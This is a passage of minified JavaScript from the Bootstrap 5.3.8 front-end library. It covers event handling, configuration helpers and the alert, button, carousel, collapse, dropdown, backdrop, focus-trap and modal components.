en(e,t,n){const r=\"string\"===typeof t,a=r?n:t||n;let o=an(e);return zt.has(o)||(o=e),[r,a,o]}function tn(e,t,n,r,a){if(\"string\"!==typeof t||!e)return;let[o,i,l]=en(t,n,r);if(t in Yt){const e=e=>function(t){if(!t.relatedTarget||t.relatedTarget!==t.delegateTarget&&!t.delegateTarget.contains(t.relatedTarget))return e.call(this,t)};i=e(i)}const s=qt(e),u=s[l]||(s[l]={}),d=Jt(u,i,o?n:null);if(d)return void(d.oneOff=d.oneOff&&a);const c=Kt(i,t.replace(Vt,\"\")),f=o?Zt(e,n,i):Qt(e,i);f.delegationSelector=o?n:null,f.callable=i,f.oneOff=a,f.uidEvent=c,u[c]=f,e.addEventListener(l,f,o)}function nn(e,t,n,r,a){const o=Jt(t[n],r,a);o&&(e.removeEventListener(n,o,Boolean(a)),delete t[n][o.uidEvent])}function rn(e,t,n,r){const a=t[n]||{};for(const[o,i]of Object.entries(a))o.includes(r)&&nn(e,t,n,i.callable,i.delegationSelector)}function an(e){return e=e.replace(Ut,\"\"),Yt[e]||e}const on={on(e,t,n,r){tn(e,t,n,r,!1)},one(e,t,n,r){tn(e,t,n,r,!0)},off(e,t,n,r){if(\"string\"!==typeof t||!e)return;const[a,o,i]=en(t,n,r),l=i!==t,s=qt(e),u=s[i]||{},d=t.startsWith(\".\");if(\"undefined\"===typeof o){if(d)for(const n of Object.keys(s))rn(e,s,n,t.slice(1));for(const[n,r]of Object.entries(u)){const a=n.replace(Xt,\"\");l&&!t.includes(a)||nn(e,s,i,r.callable,r.delegationSelector)}}else{if(!Object.keys(u).length)return;nn(e,s,i,o,a?n:null)}},trigger(e,t,n){if(\"string\"!==typeof t||!e)return null;const r=Wt(),a=an(t),o=t!==a;let i=null,l=!0,s=!0,u=!1;o&&r&&(i=r.Event(t,n),r(e).trigger(i),l=!i.isPropagationStopped(),s=!i.isImmediatePropagationStopped(),u=i.isDefaultPrevented());const d=ln(new Event(t,{bubbles:l,cancelable:!0}),n);return u&&d.preventDefault(),s&&e.dispatchEvent(d),d.defaultPrevented&&i&&i.preventDefault(),d}};function ln(e,t={}){for(const[r,a]of Object.entries(t))try{e[r]=a}catch(n){Object.defineProperty(e,r,{configurable:!0,get(){return a}})}return e}function sn(e){if(\"true\"===e)return!0;if(\"false\"===e)return!1;if(e===Number(e).toString())return Number(e);if(\"\"===e||\"null\"===e)return null;if(\"string\"!==typeof e)return e;try{return JSON.parse(decodeURIComponent(e))}catch(t){return e}}function un(e){return e.replace(\u002F[A-Z]\u002Fg,e=>`-${e.toLowerCase()}`)}const dn={setDataAttribute(e,t,n){e.setAttribute(`data-bs-${un(t)}`,n)},removeDataAttribute(e,t){e.removeAttribute(`data-bs-${un(t)}`)},getDataAttributes(e){if(!e)return{};const t={},n=Object.keys(e.dataset).filter(e=>e.startsWith(\"bs\")&&!e.startsWith(\"bsConfig\"));for(const r of n){let n=r.replace(\u002F^bs\u002F,\"\");n=n.charAt(0).toLowerCase()+n.slice(1),t[n]=sn(e.dataset[r])}return t},getDataAttribute(e,t){return sn(e.getAttribute(`data-bs-${un(t)}`))}};class cn{static get Default(){return{}}static get DefaultType(){return{}}static get NAME(){throw new Error('You have to implement the static method \"NAME\", for each component!')}_getConfig(e){return e=this._mergeConfigObj(e),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}_configAfterMerge(e){return e}_mergeConfigObj(e,t){const n=Et(t)?dn.getDataAttribute(t,\"config\"):{};return{...this.constructor.Default,...\"object\"===typeof n?n:{},...Et(t)?dn.getDataAttributes(t):{},...\"object\"===typeof e?e:{}}}_typeCheckConfig(e,t=this.constructor.DefaultType){for(const[n,r]of Object.entries(t)){const t=e[n],a=Et(t)?\"element\":kt(t);if(!new RegExp(r).test(a))throw new TypeError(`${this.constructor.NAME.toUpperCase()}: Option \"${n}\" provided type \"${a}\" but expected type \"${r}\".`)}}}const fn=\"5.3.8\";class pn extends cn{constructor(e,t){super(),e=Tt(e),e&&(this._element=e,this._config=this._getConfig(t),yt.set(this._element,this.constructor.DATA_KEY,this))}dispose(){yt.remove(this._element,this.constructor.DATA_KEY),on.off(this._element,this.constructor.EVENT_KEY);for(const e of Object.getOwnPropertyNames(this))this[e]=null}_queueCallback(e,t,n=!0){jt(e,t,n)}_getConfig(e){return e=this._mergeConfigObj(e,this._element),e=this._configAfterMerge(e),this._typeCheckConfig(e),e}static getInstance(e){return yt.get(Tt(e),this.DATA_KEY)}static getOrCreateInstance(e,t={}){return this.getInstance(e)||new this(e,\"object\"===typeof t?t:null)}static get VERSION(){return fn}static get DATA_KEY(){return`bs.${this.NAME}`}static get EVENT_KEY(){return`.${this.DATA_KEY}`}static eventName(e){return`${e}${this.EVENT_KEY}`}}const hn=e=>{let t=e.getAttribute(\"data-bs-target\");if(!t||\"#\"===t){let n=e.getAttribute(\"href\");if(!n||!n.includes(\"#\")&&!n.startsWith(\".\"))return null;n.includes(\"#\")&&!n.startsWith(\"#\")&&(n=`#${n.split(\"#\")[1]}`),t=n&&\"#\"!==n?n.trim():null}return t?t.split(\",\").map(e=>_t(e)).join(\",\"):null},vn={find(e,t=document.documentElement){return[].concat(...Element.prototype.querySelectorAll.call(t,e))},findOne(e,t=document.documentElement){return Element.prototype.querySelector.call(t,e)},children(e,t){return[].concat(...e.children).filter(e=>e.matches(t))},parents(e,t){const n=[];let r=e.parentNode.closest(t);while(r)n.push(r),r=r.parentNode.closest(t);return n},prev(e,t){let n=e.previousElementSibling;while(n){if(n.matches(t))return[n];n=n.previousElementSibling}return[]},next(e,t){let n=e.nextElementSibling;while(n){if(n.matches(t))return[n];n=n.nextElementSibling}return[]},focusableChildren(e){const t=[\"a\",\"button\",\"input\",\"textarea\",\"select\",\"details\",\"[tabindex]\",'[contenteditable=\"true\"]'].map(e=>`${e}:not([tabindex^=\"-\"])`).join(\",\");return this.find(t,e).filter(e=>!Ot(e)&&Rt(e))},getSelectorFromElement(e){const t=hn(e);return t&&vn.findOne(t)?t:null},getElementFromSelector(e){const t=hn(e);return t?vn.findOne(t):null},getMultipleElementsFromSelector(e){const t=hn(e);return t?vn.find(t):[]}},mn=(e,t=\"hide\")=>{const n=`click.dismiss${e.EVENT_KEY}`,r=e.NAME;on.on(document,n,`[data-bs-dismiss=\"${r}\"]`,function(n){if([\"A\",\"AREA\"].includes(this.tagName)&&n.preventDefault(),Ot(this))return;const a=vn.getElementFromSelector(this)||this.closest(`.${r}`),o=e.getOrCreateInstance(a);o[t]()})},gn=\"alert\",yn=\"bs.alert\",bn=`.${yn}`,$n=`close${bn}`,wn=`closed${bn}`,_n=\"fade\",kn=\"show\";class Cn extends pn{static get NAME(){return gn}close(){const e=on.trigger(this._element,$n);if(e.defaultPrevented)return;this._element.classList.remove(kn);const t=this._element.classList.contains(_n);this._queueCallback(()=>this._destroyElement(),this._element,t)}_destroyElement(){this._element.remove(),on.trigger(this._element,wn),this.dispose()}static jQueryInterface(e){return this.each(function(){const t=Cn.getOrCreateInstance(this);if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e](this)}})}}mn(Cn,\"close\"),Nt(Cn);const xn=\"button\",Sn=\"bs.button\",En=`.${Sn}`,Tn=\".data-api\",Rn=\"active\",On='[data-bs-toggle=\"button\"]',Mn=`click${En}${Tn}`;class An extends pn{static get NAME(){return xn}toggle(){this._element.setAttribute(\"aria-pressed\",this._element.classList.toggle(Rn))}static jQueryInterface(e){return this.each(function(){const t=An.getOrCreateInstance(this);\"toggle\"===e&&t[e]()})}}on.on(document,Mn,On,e=>{e.preventDefault();const t=e.target.closest(On),n=An.getOrCreateInstance(t);n.toggle()}),Nt(An);const Dn=\"swipe\",Wn=\".bs.swipe\",Bn=`touchstart${Wn}`,Pn=`touchmove${Wn}`,In=`touchend${Wn}`,Nn=`pointerdown${Wn}`,Ln=`pointerup${Wn}`,jn=\"touch\",Fn=\"pen\",Vn=\"pointer-event\",Un=40,Xn={endCallback:null,leftCallback:null,rightCallback:null},Hn={endCallback:\"(function|null)\",leftCallback:\"(function|null)\",rightCallback:\"(function|null)\"};class Gn extends cn{constructor(e,t){super(),this._element=e,e&&Gn.isSupported()&&(this._config=this._getConfig(t),this._deltaX=0,this._supportPointerEvents=Boolean(window.PointerEvent),this._initEvents())}static get Default(){return Xn}static get DefaultType(){return Hn}static get NAME(){return Dn}dispose(){on.off(this._element,Wn)}_start(e){this._supportPointerEvents?this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX):this._deltaX=e.touches[0].clientX}_end(e){this._eventIsPointerPenTouch(e)&&(this._deltaX=e.clientX-this._deltaX),this._handleSwipe(),Lt(this._config.endCallback)}_move(e){this._deltaX=e.touches&&e.touches.length>1?0:e.touches[0].clientX-this._deltaX}_handleSwipe(){const e=Math.abs(this._deltaX);if(e\u003C=Un)return;const t=e\u002Fthis._deltaX;this._deltaX=0,t&&Lt(t>0?this._config.rightCallback:this._config.leftCallback)}_initEvents(){this._supportPointerEvents?(on.on(this._element,Nn,e=>this._start(e)),on.on(this._element,Ln,e=>this._end(e)),this._element.classList.add(Vn)):(on.on(this._element,Bn,e=>this._start(e)),on.on(this._element,Pn,e=>this._move(e)),on.on(this._element,In,e=>this._end(e)))}_eventIsPointerPenTouch(e){return this._supportPointerEvents&&(e.pointerType===Fn||e.pointerType===jn)}static isSupported(){return\"ontouchstart\"in document.documentElement||navigator.maxTouchPoints>0}}const Yn=\"carousel\",zn=\"bs.carousel\",Kn=`.${zn}`,qn=\".data-api\",Qn=\"ArrowLeft\",Zn=\"ArrowRight\",Jn=500,er=\"next\",tr=\"prev\",nr=\"left\",rr=\"right\",ar=`slide${Kn}`,or=`slid${Kn}`,ir=`keydown${Kn}`,lr=`mouseenter${Kn}`,sr=`mouseleave${Kn}`,ur=`dragstart${Kn}`,dr=`load${Kn}${qn}`,cr=`click${Kn}${qn}`,fr=\"carousel\",pr=\"active\",hr=\"slide\",vr=\"carousel-item-end\",mr=\"carousel-item-start\",gr=\"carousel-item-next\",yr=\"carousel-item-prev\",br=\".active\",$r=\".carousel-item\",wr=br+$r,_r=\".carousel-item img\",kr=\".carousel-indicators\",Cr=\"[data-bs-slide], [data-bs-slide-to]\",xr='[data-bs-ride=\"carousel\"]',Sr={[Qn]:rr,[Zn]:nr},Er={interval:5e3,keyboard:!0,pause:\"hover\",ride:!1,touch:!0,wrap:!0},Tr={interval:\"(number|boolean)\",keyboard:\"boolean\",pause:\"(string|boolean)\",ride:\"(boolean|string)\",touch:\"boolean\",wrap:\"boolean\"};class Rr extends pn{constructor(e,t){super(e,t),this._interval=null,this._activeElement=null,this._isSliding=!1,this.touchTimeout=null,this._swipeHelper=null,this._indicatorsElement=vn.findOne(kr,this._element),this._addEventListeners(),this._config.ride===fr&&this.cycle()}static get Default(){return Er}static get DefaultType(){return Tr}static get NAME(){return Yn}next(){this._slide(er)}nextWhenVisible(){!document.hidden&&Rt(this._element)&&this.next()}prev(){this._slide(tr)}pause(){this._isSliding&&St(this._element),this._clearInterval()}cycle(){this._clearInterval(),this._updateInterval(),this._interval=setInterval(()=>this.nextWhenVisible(),this._config.interval)}_maybeEnableCycle(){this._config.ride&&(this._isSliding?on.one(this._element,or,()=>this.cycle()):this.cycle())}to(e){const t=this._getItems();if(e>t.length-1||e\u003C0)return;if(this._isSliding)return void on.one(this._element,or,()=>this.to(e));const n=this._getItemIndex(this._getActive());if(n===e)return;const r=e>n?er:tr;this._slide(r,t[e])}dispose(){this._swipeHelper&&this._swipeHelper.dispose(),super.dispose()}_configAfterMerge(e){return e.defaultInterval=e.interval,e}_addEventListeners(){this._config.keyboard&&on.on(this._element,ir,e=>this._keydown(e)),\"hover\"===this._config.pause&&(on.on(this._element,lr,()=>this.pause()),on.on(this._element,sr,()=>this._maybeEnableCycle())),this._config.touch&&Gn.isSupported()&&this._addTouchEventListeners()}_addTouchEventListeners(){for(const n of vn.find(_r,this._element))on.on(n,ur,e=>e.preventDefault());const e=()=>{\"hover\"===this._config.pause&&(this.pause(),this.touchTimeout&&clearTimeout(this.touchTimeout),this.touchTimeout=setTimeout(()=>this._maybeEnableCycle(),Jn+this._config.interval))},t={leftCallback:()=>this._slide(this._directionToOrder(nr)),rightCallback:()=>this._slide(this._directionToOrder(rr)),endCallback:e};this._swipeHelper=new Gn(this._element,t)}_keydown(e){if(\u002Finput|textarea\u002Fi.test(e.target.tagName))return;const t=Sr[e.key];t&&(e.preventDefault(),this._slide(this._directionToOrder(t)))}_getItemIndex(e){return this._getItems().indexOf(e)}_setActiveIndicatorElement(e){if(!this._indicatorsElement)return;const t=vn.findOne(br,this._indicatorsElement);t.classList.remove(pr),t.removeAttribute(\"aria-current\");const n=vn.findOne(`[data-bs-slide-to=\"${e}\"]`,this._indicatorsElement);n&&(n.classList.add(pr),n.setAttribute(\"aria-current\",\"true\"))}_updateInterval(){const e=this._activeElement||this._getActive();if(!e)return;const t=Number.parseInt(e.getAttribute(\"data-bs-interval\"),10);this._config.interval=t||this._config.defaultInterval}_slide(e,t=null){if(this._isSliding)return;const n=this._getActive(),r=e===er,a=t||Ft(this._getItems(),n,r,this._config.wrap);if(a===n)return;const o=this._getItemIndex(a),i=t=>on.trigger(this._element,t,{relatedTarget:a,direction:this._orderToDirection(e),from:this._getItemIndex(n),to:o}),l=i(ar);if(l.defaultPrevented)return;if(!n||!a)return;const s=Boolean(this._interval);this.pause(),this._isSliding=!0,this._setActiveIndicatorElement(o),this._activeElement=a;const u=r?mr:vr,d=r?gr:yr;a.classList.add(d),Dt(a),n.classList.add(u),a.classList.add(u);const c=()=>{a.classList.remove(u,d),a.classList.add(pr),n.classList.remove(pr,d,u),this._isSliding=!1,i(or)};this._queueCallback(c,n,this._isAnimated()),s&&this.cycle()}_isAnimated(){return this._element.classList.contains(hr)}_getActive(){return vn.findOne(wr,this._element)}_getItems(){return vn.find($r,this._element)}_clearInterval(){this._interval&&(clearInterval(this._interval),this._interval=null)}_directionToOrder(e){return It()?e===nr?tr:er:e===nr?er:tr}_orderToDirection(e){return It()?e===tr?nr:rr:e===tr?rr:nr}static jQueryInterface(e){return this.each(function(){const t=Rr.getOrCreateInstance(this,e);if(\"number\"!==typeof e){if(\"string\"===typeof e){if(void 0===t[e]||e.startsWith(\"_\")||\"constructor\"===e)throw new TypeError(`No method named \"${e}\"`);t[e]()}}else t.to(e)})}}on.on(document,cr,Cr,function(e){const t=vn.getElementFromSelector(this);if(!t||!t.classList.contains(fr))return;e.preventDefault();const n=Rr.getOrCreateInstance(t),r=this.getAttribute(\"data-bs-slide-to\");return r?(n.to(r),void n._maybeEnableCycle()):\"next\"===dn.getDataAttribute(this,\"slide\")?(n.next(),void n._maybeEnableCycle()):(n.prev(),void n._maybeEnableCycle())}),on.on(window,dr,()=>{const e=vn.find(xr);for(const t of e)Rr.getOrCreateInstance(t)}),Nt(Rr);const Or=\"collapse\",Mr=\"bs.collapse\",Ar=`.${Mr}`,Dr=\".data-api\",Wr=`show${Ar}`,Br=`shown${Ar}`,Pr=`hide${Ar}`,Ir=`hidden${Ar}`,Nr=`click${Ar}${Dr}`,Lr=\"show\",jr=\"collapse\",Fr=\"collapsing\",Vr=\"collapsed\",Ur=`:scope .${jr} .${jr}`,Xr=\"collapse-horizontal\",Hr=\"width\",Gr=\"height\",Yr=\".collapse.show, .collapse.collapsing\",zr='[data-bs-toggle=\"collapse\"]',Kr={parent:null,toggle:!0},qr={parent:\"(null|element)\",toggle:\"boolean\"};class Qr extends pn{constructor(e,t){super(e,t),this._isTransitioning=!1,this._triggerArray=[];const n=vn.find(zr);for(const r of n){const e=vn.getSelectorFromElement(r),t=vn.find(e).filter(e=>e===this._element);null!==e&&t.length&&this._triggerArray.push(r)}this._initializeChildren(),this._config.parent||this._addAriaAndCollapsedClass(this._triggerArray,this._isShown()),this._config.toggle&&this.toggle()}static get Default(){return Kr}static get DefaultType(){return qr}static get NAME(){return Or}toggle(){this._isShown()?this.hide():this.show()}show(){if(this._isTransitioning||this._isShown())return;let e=[];if(this._config.parent&&(e=this._getFirstLevelChildren(Yr).filter(e=>e!==this._element).map(e=>Qr.getOrCreateInstance(e,{toggle:!1}))),e.length&&e[0]._isTransitioning)return;const t=on.trigger(this._element,Wr);if(t.defaultPrevented)return;for(const i of e)i.hide();const n=this._getDimension();this._element.classList.remove(jr),this._element.classList.add(Fr),this._element.style[n]=0,this._addAriaAndCollapsedClass(this._triggerArray,!0),this._isTransitioning=!0;const r=()=>{this._isTransitioning=!1,this._element.classList.remove(Fr),this._element.classList.add(jr,Lr),this._element.style[n]=\"\",on.trigger(this._element,Br)},a=n[0].toUpperCase()+n.slice(1),o=`scroll${a}`;this._queueCallback(r,this._element,!0),this._element.style[n]=`${this._element[o]}px`}hide(){if(this._isTransitioning||!this._isShown())return;const e=on.trigger(this._element,Pr);if(e.defaultPrevented)return;const t=this._getDimension();this._element.style[t]=`${this._element.getBoundingClientRect()[t]}px`,Dt(this._element),this._element.classList.add(Fr),this._element.classList.remove(jr,Lr);for(const r of this._triggerArray){const e=vn.getElementFromSelector(r);e&&!this._isShown(e)&&this._addAriaAndCollapsedClass([r],!1)}this._isTransitioning=!0;const n=()=>{this._isTransitioning=!1,this._element.classList.remove(Fr),this._element.classList.add(jr),on.trigger(this._element,Ir)};this._element.style[t]=\"\",this._queueCallback(n,this._element,!0)}_isShown(e=this._element){return e.classList.contains(Lr)}_configAfterMerge(e){return e.toggle=Boolean(e.toggle),e.parent=Tt(e.parent),e}_getDimension(){return this._element.classList.contains(Xr)?Hr:Gr}_initializeChildren(){if(!this._config.parent)return;const e=this._getFirstLevelChildren(zr);for(const t of e){const e=vn.getElementFromSelector(t);e&&this._addAriaAndCollapsedClass([t],this._isShown(e))}}_getFirstLevelChildren(e){const t=vn.find(Ur,this._config.parent);return vn.find(e,this._config.parent).filter(e=>!t.includes(e))}_addAriaAndCollapsedClass(e,t){if(e.length)for(const n of e)n.classList.toggle(Vr,!t),n.setAttribute(\"aria-expanded\",t)}static jQueryInterface(e){const t={};return\"string\"===typeof e&&\u002Fshow|hide\u002F.test(e)&&(t.toggle=!1),this.each(function(){const n=Qr.getOrCreateInstance(this,t);if(\"string\"===typeof e){if(\"undefined\"===typeof n[e])throw new TypeError(`No method named \"${e}\"`);n[e]()}})}}on.on(document,Nr,zr,function(e){(\"A\"===e.target.tagName||e.delegateTarget&&\"A\"===e.delegateTarget.tagName)&&e.preventDefault();for(const t of vn.getMultipleElementsFromSelector(this))Qr.getOrCreateInstance(t,{toggle:!1}).toggle()}),Nt(Qr);const Zr=\"dropdown\",Jr=\"bs.dropdown\",ea=`.${Jr}`,ta=\".data-api\",na=\"Escape\",ra=\"Tab\",aa=\"ArrowUp\",oa=\"ArrowDown\",ia=2,la=`hide${ea}`,sa=`hidden${ea}`,ua=`show${ea}`,da=`shown${ea}`,ca=`click${ea}${ta}`,fa=`keydown${ea}${ta}`,pa=`keyup${ea}${ta}`,ha=\"show\",va=\"dropup\",ma=\"dropend\",ga=\"dropstart\",ya=\"dropup-center\",ba=\"dropdown-center\",$a='[data-bs-toggle=\"dropdown\"]:not(.disabled):not(:disabled)',wa=`${$a}.${ha}`,_a=\".dropdown-menu\",ka=\".navbar\",Ca=\".navbar-nav\",xa=\".dropdown-menu .dropdown-item:not(.disabled):not(:disabled)\",Sa=It()?\"top-end\":\"top-start\",Ea=It()?\"top-start\":\"top-end\",Ta=It()?\"bottom-end\":\"bottom-start\",Ra=It()?\"bottom-start\":\"bottom-end\",Oa=It()?\"left-start\":\"right-start\",Ma=It()?\"right-start\":\"left-start\",Aa=\"top\",Da=\"bottom\",Wa={autoClose:!0,boundary:\"clippingParents\",display:\"dynamic\",offset:[0,2],popperConfig:null,reference:\"toggle\"},Ba={autoClose:\"(boolean|string)\",boundary:\"(string|element)\",display:\"string\",offset:\"(array|string|function)\",popperConfig:\"(null|object|function)\",reference:\"(string|element|object)\"};class Pa extends pn{constructor(e,t){super(e,t),this._popper=null,this._parent=this._element.parentNode,this._menu=vn.next(this._element,_a)[0]||vn.prev(this._element,_a)[0]||vn.findOne(_a,this._parent),this._inNavbar=this._detectNavbar()}static get Default(){return Wa}static get DefaultType(){return Ba}static get NAME(){return Zr}toggle(){return this._isShown()?this.hide():this.show()}show(){if(Ot(this._element)||this._isShown())return;const e={relatedTarget:this._element},t=on.trigger(this._element,ua,e);if(!t.defaultPrevented){if(this._createPopper(),\"ontouchstart\"in document.documentElement&&!this._parent.closest(Ca))for(const e of[].concat(...document.body.children))on.on(e,\"mouseover\",At);this._element.focus(),this._element.setAttribute(\"aria-expanded\",!0),this._menu.classList.add(ha),this._element.classList.add(ha),on.trigger(this._element,da,e)}}hide(){if(Ot(this._element)||!this._isShown())return;const e={relatedTarget:this._element};this._completeHide(e)}dispose(){this._popper&&this._popper.destroy(),super.dispose()}update(){this._inNavbar=this._detectNavbar(),this._popper&&this._popper.update()}_completeHide(e){const t=on.trigger(this._element,la,e);if(!t.defaultPrevented){if(\"ontouchstart\"in document.documentElement)for(const e of[].concat(...document.body.children))on.off(e,\"mouseover\",At);this._popper&&this._popper.destroy(),this._menu.classList.remove(ha),this._element.classList.remove(ha),this._element.setAttribute(\"aria-expanded\",\"false\"),dn.removeDataAttribute(this._menu,\"popper\"),on.trigger(this._element,sa,e)}}_getConfig(e){if(e=super._getConfig(e),\"object\"===typeof e.reference&&!Et(e.reference)&&\"function\"!==typeof e.reference.getBoundingClientRect)throw new TypeError(`${Zr.toUpperCase()}: Option \"reference\" provided type \"object\" without a required \"getBoundingClientRect\" method.`);return e}_createPopper(){if(\"undefined\"===typeof r)throw new TypeError(\"Bootstrap's dropdowns require Popper (https:\u002F\u002Fpopper.js.org\u002Fdocs\u002Fv2\u002F)\");let e=this._element;\"parent\"===this._config.reference?e=this._parent:Et(this._config.reference)?e=Tt(this._config.reference):\"object\"===typeof this._config.reference&&(e=this._config.reference);const t=this._getPopperConfig();this._popper=ht(e,this._menu,t)}_isShown(){return this._menu.classList.contains(ha)}_getPlacement(){const e=this._parent;if(e.classList.contains(ma))return Oa;if(e.classList.contains(ga))return Ma;if(e.classList.contains(ya))return Aa;if(e.classList.contains(ba))return Da;const t=\"end\"===getComputedStyle(this._menu).getPropertyValue(\"--bs-position\").trim();return e.classList.contains(va)?t?Ea:Sa:t?Ra:Ta}_detectNavbar(){return null!==this._element.closest(ka)}_getOffset(){const{offset:e}=this._config;return\"string\"===typeof e?e.split(\",\").map(e=>Number.parseInt(e,10)):\"function\"===typeof e?t=>e(t,this._element):e}_getPopperConfig(){const e={placement:this._getPlacement(),modifiers:[{name:\"preventOverflow\",options:{boundary:this._config.boundary}},{name:\"offset\",options:{offset:this._getOffset()}}]};return(this._inNavbar||\"static\"===this._config.display)&&(dn.setDataAttribute(this._menu,\"popper\",\"static\"),e.modifiers=[{name:\"applyStyles\",enabled:!1}]),{...e,...Lt(this._config.popperConfig,[void 0,e])}}_selectMenuItem({key:e,target:t}){const n=vn.find(xa,this._menu).filter(e=>Rt(e));n.length&&Ft(n,t,e===oa,!n.includes(t)).focus()}static jQueryInterface(e){return this.each(function(){const t=Pa.getOrCreateInstance(this,e);if(\"string\"===typeof e){if(\"undefined\"===typeof t[e])throw new TypeError(`No method named \"${e}\"`);t[e]()}})}static clearMenus(e){if(e.button===ia||\"keyup\"===e.type&&e.key!==ra)return;const t=vn.find(wa);for(const n of t){const t=Pa.getInstance(n);if(!t||!1===t._config.autoClose)continue;const r=e.composedPath(),a=r.includes(t._menu);if(r.includes(t._element)||\"inside\"===t._config.autoClose&&!a||\"outside\"===t._config.autoClose&&a)continue;if(t._menu.contains(e.target)&&(\"keyup\"===e.type&&e.key===ra||\u002Finput|select|option|textarea|form\u002Fi.test(e.target.tagName)))continue;const o={relatedTarget:t._element};\"click\"===e.type&&(o.clickEvent=e),t._completeHide(o)}}static dataApiKeydownHandler(e){const t=\u002Finput|textarea\u002Fi.test(e.target.tagName),n=e.key===na,r=[aa,oa].includes(e.key);if(!r&&!n)return;if(t&&!n)return;e.preventDefault();const a=this.matches($a)?this:vn.prev(this,$a)[0]||vn.next(this,$a)[0]||vn.findOne($a,e.delegateTarget.parentNode),o=Pa.getOrCreateInstance(a);if(r)return e.stopPropagation(),o.show(),void o._selectMenuItem(e);o._isShown()&&(e.stopPropagation(),o.hide(),a.focus())}}on.on(document,fa,$a,Pa.dataApiKeydownHandler),on.on(document,fa,_a,Pa.dataApiKeydownHandler),on.on(document,ca,Pa.clearMenus),on.on(document,pa,Pa.clearMenus),on.on(document,ca,$a,function(e){e.preventDefault(),Pa.getOrCreateInstance(this).toggle()}),Nt(Pa);const Ia=\"backdrop\",Na=\"fade\",La=\"show\",ja=`mousedown.bs.${Ia}`,Fa={className:\"modal-backdrop\",clickCallback:null,isAnimated:!1,isVisible:!0,rootElement:\"body\"},Va={className:\"string\",clickCallback:\"(function|null)\",isAnimated:\"boolean\",isVisible:\"boolean\",rootElement:\"(element|string)\"};class Ua extends cn{constructor(e){super(),this._config=this._getConfig(e),this._isAppended=!1,this._element=null}static get Default(){return Fa}static get DefaultType(){return Va}static get NAME(){return Ia}show(e){if(!this._config.isVisible)return void Lt(e);this._append();const t=this._getElement();this._config.isAnimated&&Dt(t),t.classList.add(La),this._emulateAnimation(()=>{Lt(e)})}hide(e){this._config.isVisible?(this._getElement().classList.remove(La),this._emulateAnimation(()=>{this.dispose(),Lt(e)})):Lt(e)}dispose(){this._isAppended&&(on.off(this._element,ja),this._element.remove(),this._isAppended=!1)}_getElement(){if(!this._element){const e=document.createElement(\"div\");e.className=this._config.className,this._config.isAnimated&&e.classList.add(Na),this._element=e}return this._element}_configAfterMerge(e){return e.rootElement=Tt(e.rootElement),e}_append(){if(this._isAppended)return;const e=this._getElement();this._config.rootElement.append(e),on.on(e,ja,()=>{Lt(this._config.clickCallback)}),this._isAppended=!0}_emulateAnimation(e){jt(e,this._getElement(),this._config.isAnimated)}}const Xa=\"focustrap\",Ha=\"bs.focustrap\",Ga=`.${Ha}`,Ya=`focusin${Ga}`,za=`keydown.tab${Ga}`,Ka=\"Tab\",qa=\"forward\",Qa=\"backward\",Za={autofocus:!0,trapElement:null},Ja={autofocus:\"boolean\",trapElement:\"element\"};class eo extends cn{constructor(e){super(),this._config=this._getConfig(e),this._isActive=!1,this._lastTabNavDirection=null}static get Default(){return Za}static get DefaultType(){return Ja}static get NAME(){return Xa}activate(){this._isActive||(this._config.autofocus&&this._config.trapElement.focus(),on.off(document,Ga),on.on(document,Ya,e=>this._handleFocusin(e)),on.on(document,za,e=>this._handleKeydown(e)),this._isActive=!0)}deactivate(){this._isActive&&(this._isActive=!1,on.off(document,Ga))}_handleFocusin(e){const{trapElement:t}=this._config;if(e.target===document||e.target===t||t.contains(e.target))return;const n=vn.focusableChildren(t);0===n.length?t.focus():this._lastTabNavDirection===Qa?n[n.length-1].focus():n[0].focus()}_handleKeydown(e){e.key===Ka&&(this._lastTabNavDirection=e.shiftKey?Qa:qa)}}const to=\".fixed-top, .fixed-bottom, .is-fixed, .sticky-top\",no=\".sticky-top\",ro=\"padding-right\",ao=\"margin-right\";class oo{constructor(){this._element=document.body}getWidth(){const e=document.documentElement.clientWidth;return Math.abs(window.innerWidth-e)}hide(){const e=this.getWidth();this._disableOverFlow(),this._setElementAttributes(this._element,ro,t=>t+e),this._setElementAttributes(to,ro,t=>t+e),this._setElementAttributes(no,ao,t=>t-e)}reset(){this._resetElementAttributes(this._element,\"overflow\"),this._resetElementAttributes(this._element,ro),this._resetElementAttributes(to,ro),this._resetElementAttributes(no,ao)}isOverflowing(){return this.getWidth()>0}_disableOverFlow(){this._saveInitialAttribute(this._element,\"overflow\"),this._element.style.overflow=\"hidden\"}_setElementAttributes(e,t,n){const r=this.getWidth(),a=e=>{if(e!==this._element&&window.innerWidth>e.clientWidth+r)return;this._saveInitialAttribute(e,t);const a=window.getComputedStyle(e).getPropertyValue(t);e.style.setProperty(t,`${n(Number.parseFloat(a))}px`)};this._applyManipulationCallback(e,a)}_saveInitialAttribute(e,t){const n=e.style.getPropertyValue(t);n&&dn.setDataAttribute(e,t,n)}_resetElementAttributes(e,t){const n=e=>{const n=dn.getDataAttribute(e,t);null!==n?(dn.removeDataAttribute(e,t),e.style.setProperty(t,n)):e.style.removeProperty(t)};this._applyManipulationCallback(e,n)}_applyManipulationCallback(e,t){if(Et(e))t(e);else for(const n of vn.find(e,this._element))t(n)}}const io=\"modal\",lo=\"bs.modal\",so=`.${lo}`,uo=\".data-api\",co=\"Escape\",fo=`hide${so}`,po=`hidePrevented${so}`,ho=`hidden${so}`,vo=`show${so}`,mo=`shown${so}`,go=`resize${so}`,yo=`click.dismiss${so}`,bo=`mousedown.dismiss${so}`,$o=`keydown.dismiss${so}`,wo=`click${so}${uo}`,_o=\"modal-open\",ko=\"fade\",Co=\"show\",xo=\"modal-static\",So=\".modal.show\",Eo=\".modal-dialog\",To=\".modal-body\",Ro='[data-bs-toggle=\"modal\"]',Oo={backdrop:!0,focus:!0,keyboard:!0},Mo={backdrop:\"(boolean|string)\",focus:\"boolean\",keyboard:\"boolean\"};class Ao extends pn{constructor(e,t){super(e,t),this._dialog=vn.findOne(Eo,this._element),this._backdrop=this._initializeBackDrop(),this._focustrap=this._initializeFocusTrap(),this._isShown=!1,this._isTransitioning=!1,this._scrollBar=new oo,this._addEventListeners()}static get Default(){return Oo}static get DefaultType(){return Mo}static get NAME(){return io}toggle(e){return this._isShown?this.hide():this.show(e)}show(e){if(this._isShown||this._isTransitioning)return;const 